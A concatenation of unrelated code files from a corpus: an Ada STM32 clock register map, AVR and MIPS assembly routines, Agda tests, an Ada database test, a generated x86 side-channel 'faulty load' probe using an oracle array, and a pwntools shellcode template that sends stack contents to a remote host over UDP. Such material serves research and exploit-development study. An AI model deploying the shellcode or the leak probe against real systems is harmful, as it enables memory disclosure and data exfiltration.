CRYPEN at 0 range 4 .. 4;
HASHEN at 0 range 5 .. 5;
RNGEN at 0 range 6 .. 6;
OTGFSEN at 0 range 7 .. 7;
end record;
-------------------------------------------------------------
-- RCC APB1 peripheral clock enable register (RCC_APB1ENR) --
-------------------------------------------------------------
type t_RCC_APB1ENR is record
TIM2EN : boolean; -- TIM2 clock enable
TIM3EN : boolean; -- TIM3 clock enable
TIM4EN : boolean; -- TIM4 clock enable
TIM5EN : boolean; -- TIM5 clock enable
TIM6EN : boolean; -- TIM6 clock enable
TIM7EN : boolean; -- TIM7 clock enable
TIM12EN : boolean; -- TIM12 clock enable
TIM13EN : boolean; -- TIM13 clock enable
TIM14EN : boolean; -- TIM14 clock enable
reserved_9_10 : bits_2;
WWDGEN : boolean; -- Window watchdog clock enable
reserved_12_13 : bits_2;
SPI2EN : boolean; -- SPI2 clock enable
SPI3EN : boolean; -- SPI3 clock enable
reserved_16 : boolean;
USART2EN : boolean; -- USART2 clock enable
USART3EN : boolean; -- USART3 clock enable
UART4EN : boolean; -- UART4 clock enable
UART5EN : boolean; -- UART5 clock enable
I2C1EN : boolean; -- I2C1 clock enable
I2C2EN : boolean; -- I2C2 clock enable
I2C3EN : boolean; -- I2C3 clock enable
reserved_24 : bit;
CAN1EN : boolean; -- CAN 1 clock enable
CAN2EN : boolean; -- CAN 2 clock enable
reserved_27 : bit;
PWREN : boolean; -- Power interface clock enable
DACEN : boolean; -- DAC interface clock enable
UART7EN : boolean; -- UART7 clock enable
UART8EN : boolean; -- UART8 clock enable
end record
with pack, size => 32, volatile_full_access;
-------------------------------------------------------------
-- RCC APB2 peripheral clock enable register (RCC_APB2ENR) --
-------------------------------------------------------------
type t_RCC_APB2ENR is record
TIM1EN : boolean; -- TIM1 clock enable
TIM8EN : boolean; -- TIM8 clock enable
reserved_2_3 : bits_2;
USART1EN : boolean; -- USART1 clock enable
USART6EN : boolean; -- USART6 clock enable
reserved_6_7 : bits_2;
ADC1EN : boolean; -- ADC1 clock enable
ADC2EN : boolean; -- ADC2 clock enable
ADC3EN : boolean; -- ADC3 clock enable
SDIOEN : boolean; -- SDIO clock enable
SPI1EN : boolean; -- SPI1 clock enable
reserved_13 : bit;
SYSCFGEN : boolean;
-- System configuration controller clock enable
reserved_15 : bit;
TIM9EN : boolean; -- TIM9 clock enable
TIM10EN : boolean; -- TIM10 clock enable
TIM11EN : boolean; -- TIM11 clock enable
reserved_19_23 : bits_5;
reserved_24_31 : unsigned_8;
end record
with pack, size => 32, volatile_full_access;
--------------------
-- RCC peripheral --
--------------------
type t_RCC_peripheral is record
CR : t_RCC_CR;
PLLCFGR : t_RCC_PLLCFGR;
CFGR : t_RCC_CFGR;
CIR : unsigned_32;
AHB1ENR : t_RCC_AHB1ENR;
AHB2ENR : t_RCC_AHB2ENR;
APB1ENR : t_RCC_APB1ENR;
APB2ENR : t_RCC_APB2ENR;
end record
with volatile;
for t_RCC_peripheral use record
CR at 16#00# range 0 .. 31;
PLLCFGR at 16#04# range 0 .. 31;
CFGR at 16#08# range 0 .. 31;
CIR at 16#0C# range 0 .. 31;
AHB1ENR at 16#30# range 0 .. 31;
AHB2ENR at 16#34# range 0 .. 31;
APB1ENR at 16#40# range 0 .. 31;
APB2ENR at 16#44# range 0 .. 31;
end record;
RCC : t_RCC_peripheral
with
import,
volatile,
address => system'to_address(16#4002_3800#);
procedure reset
with
convention => c,
export => true,
external_name => "soc_rcc_reset";
function init
(enable_hse : in types.c.bool;
enable_pll : in types.c.bool)
return types.c.t_retval
with
convention => c,
export => true,
external_name => "soc_rcc_setsysclock";
end soc.rcc;
|
experiments/hello-world-st7565/contrast.asm | daltonmatos/avrgcc-mixed-with-avrasm2 | 2 | 177278 |
Contrast:
lds t, UserProfile ;refuse access unless user profile #1 is selected
tst t
breq con11
;ldz nadtxt2*2
;call ShowNoAccessDlg
ret
con11: call LcdClear12x16
lrv X1, 46 ;header
my_ldz con1*2
call PrintHeader
lrv X1, 0 ;LCD contrast
lrv Y1, 26
my_ldz con2*2
call PrintString
clr xh
lds xl, LcdContrast
clr yh
call Print16Signed
;footer
lrv X1, 0
lrv Y1, 57
my_ldz con6*2
call PrintString
call LcdUpdate
;call GetButtonsBlocking
cpi t, 0x08 ;BACK?
brne con16
rcall LoadLcdContrast ;reload the LCD contrast setting
ret
con16: cpi t, 0x04 ;UP?
brne con17
lds t, LcdContrast
cpi t, 46 ;upper limit reached?
brge con20
inc t ;no, increase
sts LcdContrast, t
rjmp con11
con17: cpi t, 0x02 ;DOWN?
brne con18
lds t, LcdContrast
cpi t, 25 ;lower limit reached?
brlt con20
dec t ;no, decrease
sts LcdContrast, t
rjmp con11
con18: cpi t, 0x01 ;SAVE?
brne con20
lds xl, LcdContrast
my_ldz eeLcdContrast
call StoreEeVariable8 ;save in profile #1 only
ret
con20: rjmp con11
con1: .db "LCD", 0
con2: .db "LCD Contrast: ", 0, 0
con6: .db "BACK UP DOWN SAVE", 0
;--- Load LCD contrast ---
LoadLcdContrast:
my_ldz eeLcdContrast
call ReadEeprom ;read from profile #1 only
sts LcdContrast, t
ret
;--- Set default LCD contrast ---
SetDefaultLcdContrast:
ldi t, 0x24
sts LcdContrast, t
my_ldz eeLcdContrast
call WriteEeprom ;save in profile #1 only
ret
|
test/Fail/RecordPattern5.agda | cruhland/agda | 1,989 | 11376 | <reponame>cruhland/agda<filename>test/Fail/RecordPattern5.agda
-- Andreas, 2015-07-20, record patterns
open import Common.Prelude
postulate A : Set
record R : Set where
field f : A
T : Bool → Set
T true = R
T false = A
test : ∀{b} → T b → A
test record{f = a} = a
-- Could succeed by some magic.
|
src/Implicits/Syntax/LNMetaType.agda | metaborg/ts.agda | 4 | 9466 | <filename>src/Implicits/Syntax/LNMetaType.agda
open import Prelude hiding (lift; id)
module Implicits.Syntax.LNMetaType where
open import Implicits.Syntax.Type
open import Data.Nat as Nat
mutual
data MetaSType (m : ℕ) : Set where
tvar : ℕ → MetaSType m
mvar : Fin m → MetaSType m
_→'_ : (a b : MetaType m) → MetaSType m
tc : ℕ → MetaSType m
data MetaType (m : ℕ) : Set where
_⇒_ : (a b : MetaType m) → MetaType m
∀' : MetaType m → MetaType m
simpl : MetaSType m → MetaType m
mutual
open-meta : ∀ {m} → ℕ → MetaType m → MetaType (suc m)
open-meta k (a ⇒ b) = open-meta k a ⇒ open-meta k b
open-meta k (∀' a) = ∀' (open-meta (suc k) a )
open-meta k (simpl x) = simpl (open-st k x)
where
open-st : ∀ {m} → ℕ → MetaSType m → MetaSType (suc m)
open-st k (tvar x) with Nat.compare x k
open-st .(suc (x N+ k)) (tvar x) | less .x k = tvar x
open-st k (tvar .k) | equal .k = mvar zero
open-st k (tvar .(suc (k N+ x))) | greater .k x = tvar (k N+ x)
open-st k (mvar x) = mvar (suc x)
open-st k (a →' b) = open-meta k a →' open-meta k b
open-st k (tc x) = tc x
mutual
data TClosedS {m} (n : ℕ) : MetaSType m → Set where
tvar : ∀ {x} → (x N< n) → TClosedS n (tvar x)
mvar : ∀ {x} → TClosedS n (mvar x)
_→'_ : ∀ {a b} → TClosed n a → TClosed n b → TClosedS n (a →' b)
tc : ∀ {c} → TClosedS n (tc c)
data TClosed {m} (n : ℕ) : MetaType m → Set where
_⇒_ : ∀ {a b} → TClosed n a → TClosed n b → TClosed n (a ⇒ b)
∀' : ∀ {a} → TClosed (suc n) a → TClosed n (∀' a)
simpl : ∀ {τ} → TClosedS n τ → TClosed n (simpl τ)
to-meta : ∀ {ν} → Type ν → MetaType zero
to-meta (simpl (tc x)) = simpl (tc x)
to-meta (simpl (tvar n)) = simpl (tvar (toℕ n))
to-meta (simpl (a →' b)) = simpl (to-meta a →' to-meta b)
to-meta (a ⇒ b) = to-meta a ⇒ to-meta b
to-meta (∀' a) = ∀' (to-meta a)
from-meta : ∀ {ν} {a : MetaType zero} → TClosed ν a → Type ν
from-meta (a ⇒ b) = from-meta a ⇒ from-meta b
from-meta (∀' a) = ∀' (from-meta a)
from-meta (simpl (tvar x)) = simpl (tvar (fromℕ≤ x))
from-meta (simpl (mvar {()}))
from-meta (simpl (a →' b)) = simpl (from-meta a →' from-meta b)
from-meta (simpl (tc {c})) = simpl (tc c)
|
test/Fail/Issue5558.agda | cruhland/agda | 1,989 | 8801 | <gh_stars>1000+
interleaved mutual
-- we don't do `data A : Set`
data A where
-- you don't have to actually define any constructor to trigger the error, the "where" is enough
data B where
b : B
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca.log_21829_242.asm | ljhsiun2/medusa | 9 | 243558 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1d19b, %rax
nop
xor %rsi, %rsi
vmovups (%rax), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %r9
nop
nop
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0xa9cb, %rax
nop
nop
nop
nop
sub %rsi, %rsi
mov $0x6162636465666768, %r14
movq %r14, (%rax)
nop
nop
nop
nop
dec %rax
lea addresses_D_ht+0x41db, %rsi
lea addresses_WT_ht+0x575b, %rdi
nop
nop
nop
sub %rdx, %rdx
mov $117, %rcx
rep movsl
nop
nop
sub $49902, %r14
lea addresses_UC_ht+0xb507, %rsi
lea addresses_UC_ht+0xa81b, %rdi
nop
nop
nop
xor %rdx, %rdx
mov $83, %rcx
rep movsb
nop
nop
add %r14, %r14
lea addresses_UC_ht+0x6cc3, %r9
nop
nop
nop
nop
and $32311, %rax
movups (%r9), %xmm4
vpextrq $0, %xmm4, %rsi
and %r9, %r9
lea addresses_D_ht+0x19a0d, %rsi
lea addresses_UC_ht+0xc72f, %rdi
nop
nop
nop
nop
and %r11, %r11
mov $57, %rcx
rep movsl
nop
inc %r9
lea addresses_WC_ht+0x60c3, %rsi
nop
nop
and $31148, %r11
movl $0x61626364, (%rsi)
nop
and %rdi, %rdi
lea addresses_A_ht+0x12ae3, %rdi
and $8540, %r11
movb (%rdi), %r9b
add $64320, %r14
lea addresses_normal_ht+0x389b, %rsi
lea addresses_WC_ht+0xd41b, %rdi
nop
nop
nop
add $18357, %r9
mov $88, %rcx
rep movsl
nop
nop
nop
and $15173, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r9
push %rax
push %rbp
push %rbx
push %rdx
// Store
lea addresses_WT+0x1a81b, %rbp
nop
and %r14, %r14
movw $0x5152, (%rbp)
nop
nop
dec %rdx
// Faulty Load
mov $0x12830000000c1b, %r12
nop
nop
nop
nop
xor $21515, %rbx
movb (%r12), %dl
lea oracles, %r9
and $0xff, %rdx
shlq $12, %rdx
mov (%r9,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/lib/g5_typo.asm | Prashant446/GFCC | 1 | 8622 | <gh_stars>1-10
.text
.globl g5_printf
g5_printf:
sw $ra, -4($sp) # return address
sw $fp, -8($sp) # frame pointer of caller
move $fp, $sp # begin new frame
subu $sp, $sp, 44 # expad frame - expect address of formatter
sw $s0, -12($fp) # callee saved register
sw $s1, -16($fp) # callee saved register
sw $s2, -20($fp) # callee saved register
sw $s3, -24($fp) # callee saved register
sw $s4, -28($fp) # callee saved register
sw $s5, -32($fp) # callee saved register
sw $s6, -36($fp) # callee saved register
sw $s7, -40($fp) # callee saved register
lw $s0, 0($sp) # $s0 = formatter
li $s3, 0 # storing offset from $sp for current argument
# NOT using C-like return value
li $v1, 0 # retval = number of formatters printed so far
g5_printf_loop: # process each character in the fmt:
# RISKY TO PUT CHARS INTO $a0
lb $s1, 0($s0) # get the next character, and then
addu $s0, $s0, 1 # bump up $s0 to the next character.
beq $s1, '%', g5_printf_fmt # formatting directive
beq $s1, $0, g5_printf_ret # if zero, then go to return
g5_printf_putc:
move $a0, $s1 # print character
li $v0, 11
syscall
b g5_printf_loop # loop on.
# %c, %s, %b, %o, %d, %ld, %lld, %x, %lx, %u, %lu, %llu, %%, %f, %lf, %Lf, %p
g5_printf_fmt:
lb $s1, 0($s0) # see what the fmt character is,
addu $s0, $s0, 1 # and bump up the pointer.
beq $s1, 'd', g5_printf_int # print as a decimal integer.
beq $s1, 's', g5_printf_str # print as a string.
beq $s1, 'c', g5_printf_char # print as an ASCII char.
beq $s1, 'f', g5_printf_float # print as a float
beq $s1, 'p', g5_printf_ptr # print as a pointer
li $a0, '%' # if not matched, print as it is
li $v0, 11 # print character
syscall
move $a0, $s1
li $v0, 11 # print character
syscall
b g5_printf_loop # continue
g5_printf_char:
subu $s3, $s3, 4 # 4 = roundup[ sizeof (char) ]
add $s4, $sp, $s3 # $s4 = argument address
lb $a0, 0($s4)
li $v0, 11 # print character
syscall
addu $v1, $v1, 1
b g5_printf_loop # conitnue
g5_printf_int:
subu $s3, $s3, 4 # 4 = roundup[ sizeof (int) ]
add $s4, $sp, $s3 # $s4 = argument address
lw $a0, 0($s4)
li $v0, 1 # print int
syscall
addu $v1, $v1, 1
b g5_printf_loop # conitnue
g5_printf_float:
subu $s3, $s3, 4 # 4 = roundup[ sizeof (float) ]
add $s4, $sp, $s3 # $s4 = argument address
l.s $f12, 0($s4)
li $v0, 2 # print float
syscall
addu $v1, $v1, 1
b g5_printf_loop # conitnue
g5_printf_str: # deal with a %s:
subu $s3, $s3, 4 # 4 = roundup[ sizeof (char *) ]
add $s4, $sp, $s3 # $s4 = argument address
lw $a0, 0($s4)
li $v0, 4 # print string
syscall
addu $v1, $v1, 1
b g5_printf_loop # conitnue
g5_printf_ptr:
subu $s3, $s3, 4 # 4 = roundup[ sizeof (*) ]
add $s4, $sp, $s3 # $s4 = argument address
lw $a1, 0($s4) # load required pointer value
li $v0, 11 # will only print characters throughout
li $a0, '0' # print initial "0x"
syscall
li $a0, 'x'
syscall
li $s7, 28 # counter
g5_printf_ptr_loop:
srlv $a0, $a1, $s7
andi $a0, $a0, 0xf # four LSBs
bge $a0, 10, g5_printf_ptr_87
addi $a0, $a0, 48 # 0 -> '0' = 48
b g5_printf_ptr_hex
g5_printf_ptr_87:
addi $a0, $a0, 87 # 10 -> 'a' = 97
g5_printf_ptr_hex:
syscall
addi $s7, $s7, -4
bge $s7, 0, g5_printf_ptr_loop
b g5_printf_loop
g5_printf_ret:
move $v0, $v1 # will see how to manage return value later
lw $s7, -40($fp) # restore callee saved register
lw $s6, -36($fp) # restore callee saved register
lw $s5, -32($fp) # restore callee saved register
lw $s4, -28($fp) # restore callee saved register
lw $s3, -24($fp) # restore callee saved register
lw $s2, -20($fp) # restore callee saved register
lw $s1, -16($fp) # restore callee saved register
lw $s0, -12($fp) # restore frame pointer of caller
move $sp, $fp # close current frame
lw $fp, -8($sp) # restore frame pointer of caller
lw $ra, -4($sp) # restore return address
jr $ra # return to caller
.globl g5_putc
g5_putc:
sw $ra, -4($sp) # return address
sw $fp, -8($sp) # frame pointer of caller
move $fp, $sp # begin new frame
subu $sp, $sp, 44 # expad frame - expect address of formatter
sw $s0, -12($fp) # callee saved register
sw $s1, -16($fp) # callee saved register
sw $s2, -20($fp) # callee saved register
sw $s3, -24($fp) # callee saved register
sw $s4, -28($fp) # callee saved register
sw $s5, -32($fp) # callee saved register
sw $s6, -36($fp) # callee saved register
sw $s7, -40($fp) # callee saved register
lw $a0, 0($sp) # $s0 = character to print
li $v0, 11 # print character
syscall
g5_putc_ret:
lw $s7, -40($fp) # restore callee saved register
lw $s6, -36($fp) # restore callee saved register
lw $s5, -32($fp) # restore callee saved register
lw $s4, -28($fp) # restore callee saved register
lw $s3, -24($fp) # restore callee saved register
lw $s2, -20($fp) # restore callee saved register
lw $s1, -16($fp) # restore callee saved register
lw $s0, -12($fp) # restore frame pointer of caller
move $sp, $fp # close current frame
lw $fp, -8($sp) # restore frame pointer of caller
lw $ra, -4($sp) # restore return address
jr $ra # return to caller
.globl g5_getc # TODO: bad working of this function -- will troubleshoot later
g5_getc:
sw $ra, -4($sp) # return address
sw $fp, -8($sp) # frame pointer of caller
move $fp, $sp # begin new frame
subu $sp, $sp, 40 # expad frame - expect address of formatter
sw $s0, -12($fp) # callee saved register
sw $s1, -16($fp) # callee saved register
sw $s2, -20($fp) # callee saved register
sw $s3, -24($fp) # callee saved register
sw $s4, -28($fp) # callee saved register
sw $s5, -32($fp) # callee saved register
sw $s6, -36($fp) # callee saved register
sw $s7, -40($fp) # callee saved register
li $v0, 12
syscall # $v0 = char
g5_getc_ret:
lw $s7, -40($fp) # restore callee saved register
lw $s6, -36($fp) # restore callee saved register
lw $s5, -32($fp) # restore callee saved register
lw $s4, -28($fp) # restore callee saved register
lw $s3, -24($fp) # restore callee saved register
lw $s2, -20($fp) # restore callee saved register
lw $s1, -16($fp) # restore callee saved register
lw $s0, -12($fp) # restore frame pointer of caller
move $sp, $fp # close current frame
lw $fp, -8($sp) # restore frame pointer of caller
lw $ra, -4($sp) # restore return address
jr $ra # return to caller
.globl g5_scanf
g5_scanf:
sw $ra, -4($sp) # return address
sw $fp, -8($sp) # frame pointer of caller
move $fp, $sp # begin new frame
subu $sp, $sp, 44 # expad frame - expect address of formatter
sw $s0, -12($fp) # callee saved register
sw $s1, -16($fp) # callee saved register
sw $s2, -20($fp) # callee saved register
sw $s3, -24($fp) # callee saved register
sw $s4, -28($fp) # callee saved register
sw $s5, -32($fp) # callee saved register
sw $s6, -36($fp) # callee saved register
sw $s7, -40($fp) # callee saved register
lw $s0, 0($sp) # $s0 = formatter
li $s3, 0 # storing offset from $sp for current argument
li $v1, 0 # retval = number of formatters scanned so far
g5_scanf_loop: # process each character in the fmt:
# RISKY TO PUT CHARS INTO $a0
lb $s1, 0($s0) # get the next character, and then
addu $s0, $s0, 1 # bump up $s0 to the next character.
beq $s1, '%', g5_scanf_fmt # formatting directive
beq $s1, $0, g5_scanf_ret # if zero, then go to return
b g5_scanf_loop # nothing to do, simply go to next char
g5_scanf_fmt:
lb $s1, 0($s0) # see what the fmt character is,
addu $s0, $s0, 1 # and bump up the pointer.
beq $s1, 'd', g5_scanf_int # scan as a decimal integer.
beq $s1, 's', g5_scanf_str # scan as a string.
beq $s1, 'c', g5_scanf_char # scan as an ASCII char.
beq $s1, 'f', g5_scanf_float # scan as a float
beq $s1, 'p', g5_scanf_ptr # scan as a pointer (but like a string - will need explanation)
b g5_scanf_loop # continue if not matched
g5_scanf_char:
subu $s3, $s3, 4 # 4 = sizeof (address)
add $s4, $sp, $s3 # $s4 = argument address
lw $s4, 0($s4) # $s4 = destination of contents
li $v0, 12 # read character
syscall # $v0 = char
sw $v0, 0($s4) # store into desired location
addu $v1, $v1, 1
b g5_scanf_loop # conitnue
g5_scanf_int:
subu $s3, $s3, 4 # 4 = sizeof (address)
add $s4, $sp, $s3 # $s4 = argument address
lw $s4, 0($s4) # $s4 = destination of contents
li $v0, 5 # read int
syscall # $v0 = int
sw $v0, 0($s4) # store into desired location
addu $v1, $v1, 1
b g5_scanf_loop # conitnue
g5_scanf_float:
subu $s3, $s3, 4 # 4 = sizeof (address)
add $s4, $sp, $s3 # $s4 = argument address
lw $s4, 0($s4) # $s4 = destination of contents
li $v0, 6 # read float
syscall # $f0 = float
s.s $f0, 0($s4) # store into desired location
addu $v1, $v1, 1
b g5_scanf_loop # conitnue
g5_scanf_str: # deal with a %s:
subu $s3, $s3, 4 # 4 = sizeof (address)
add $s4, $sp, $s3 # $s4 = argument address
lw $s4, 0($s4) # $s4 = destination of contents
g5_scanf_str_loop: # CHECK SCAN OF WHITESPACE
# RISKY LOOPING - MAY OVERWRITE UNINTENDED MEMORY AREAS
li $v0, 12 # get char
syscall
# \0, \t, \b, \v, \n, [SPACE] (add more ...)
beq $v0, 0x00, g5_scanf_str_terminate # \0 (EOF/NULL)
beq $v0, 0x08, g5_scanf_str_terminate # \b
beq $v0, 0x09, g5_scanf_str_terminate # \t
beq $v0, 0x0b, g5_scanf_str_terminate # \v
beq $v0, 0x0a, g5_scanf_str_terminate # \n
beq $v0, 0x20, g5_scanf_str_terminate # [SPACE]
sb $v0, 0($s4) # *($s4) = char
addi $s4, $s4, 1
b g5_scanf_str_loop
g5_scanf_str_terminate:
li $v0, 0 # simply append '\0' at the end
sb $v0, 0($s4)
addu $v1, $v1, 1
b g5_scanf_loop # conitnue
g5_scanf_ptr: # deal with a %p:
subu $s3, $s3, 4 # 4 = sizeof (address)
add $s4, $sp, $s3 # $s4 = argument address
lw $s4, 0($s4) # $s4 = destination of contents
li $s6, 0x0 # clear contents - progressively compute pointer
g5_scanf_ptr_loop:
# RISKY LOOPING - MAY OVERWRITE UNINTENDED MEMORY AREAS
li $v0, 12 # get char
syscall
ble $v0, 47, g5_scanf_ptr_cond_1
bge $v0, 58, g5_scanf_ptr_cond_1
sub $v0, $v0, 48 # $v0 now ranges 0 to 9
b g5_scanf_ptr_append
g5_scanf_ptr_cond_1:
ble $v0, 64, g5_scanf_ptr_cond_2
bge $v0, 71, g5_scanf_ptr_cond_2
sub $v0, $v0, 55 # $v0 now ranges 10 to 15
b g5_scanf_ptr_append
g5_scanf_ptr_cond_2:
ble $v0, 96, g5_scanf_ptr_terminate
bge $v0, 103, g5_scanf_ptr_terminate
sub $v0, $v0, 87 # $v0 now ranges 10 to 15
b g5_scanf_ptr_append
g5_scanf_ptr_append:
sll $s6, $s6, 4 # shift left by 4 bits (aka multiply by 16)
add $s6, $s6, $v0 # add appropriate 4 bits to the cleared space
b g5_scanf_ptr_loop
g5_scanf_ptr_terminate:
sw $s6, 0($s4) # finally store word at desired location
b g5_scanf_loop # conitnue
g5_scanf_ret:
move $v0, $v1 # will see how to manage return value later
lw $s7, -40($fp) # restore callee saved register
lw $s6, -36($fp) # restore callee saved register
lw $s5, -32($fp) # restore callee saved register
lw $s4, -28($fp) # restore callee saved register
lw $s3, -24($fp) # restore callee saved register
lw $s2, -20($fp) # restore callee saved register
lw $s1, -16($fp) # restore callee saved register
lw $s0, -12($fp) # restore frame pointer of caller
move $sp, $fp # close current frame
lw $fp, -8($sp) # restore frame pointer of caller
lw $ra, -4($sp) # restore return address
jr $ra # return to caller
|
pwnlib/shellcraft/templates/amd64/linux/udppeer.asm | bdankwa/pwntools | 0 | 171226 | <%
from pwnlib.shellcraft.amd64 import pushstr
from pwnlib.shellcraft.amd64.linux import socket, syscall
from pwnlib.util.net import sockaddr
%>
<%page args="host, port, network = 'ipv4', size = 1024"/>
<%docstring>
Send stack content to remote peer over UDP.
Network is either 'ipv4' or 'ipv6'.
Leaves the connected socket in rbp.
</%docstring>
<%
sockaddr, addr_len, address_family = sockaddr(host, port, network)
%>\
/* open new socket */
${socket(network, 'udp')}
/* Put socket into rbp */
mov rbp, rax
/* Create address structure on stack */
${pushstr(sockaddr, False)}
/* Send data on udp socket */
${syscall('SYS_sendto', 'rbp', 'rsp', size, 0, 'rsp', addr_len)} |
testcases/fruit4/fruit4.adb | jrmarino/AdaBase | 30 | 11853 | with AdaBase;
with Connect;
with MyLogger;
with Ada.Text_IO;
with AdaBase.Logger.Facility;
procedure Fruit4 is
package CON renames Connect;
package TIO renames Ada.Text_IO;
package ALF renames AdaBase.Logger.Facility;
numrows : AdaBase.Affected_Rows;
cmd1 : constant String := "INSERT INTO fruits (fruit, color, calories) " &
"VALUES ('blueberry', 'purple', 1)";
cmd2 : constant String := "INSERT INTO fruits (fruit, color, calories) " &
"VALUES ('date', 'brown', 66)";
atch : constant String := "The custom logger has been attached.";
dtch : constant String := "The custom logger has been detached.";
begin
CON.DR.attach_custom_logger (logger_access => MyLogger.clogger'Access);
TIO.Put_Line (atch);
CON.connect_database;
numrows := CON.DR.execute (sql => cmd1);
TIO.Put_Line ("SQL: " & cmd1);
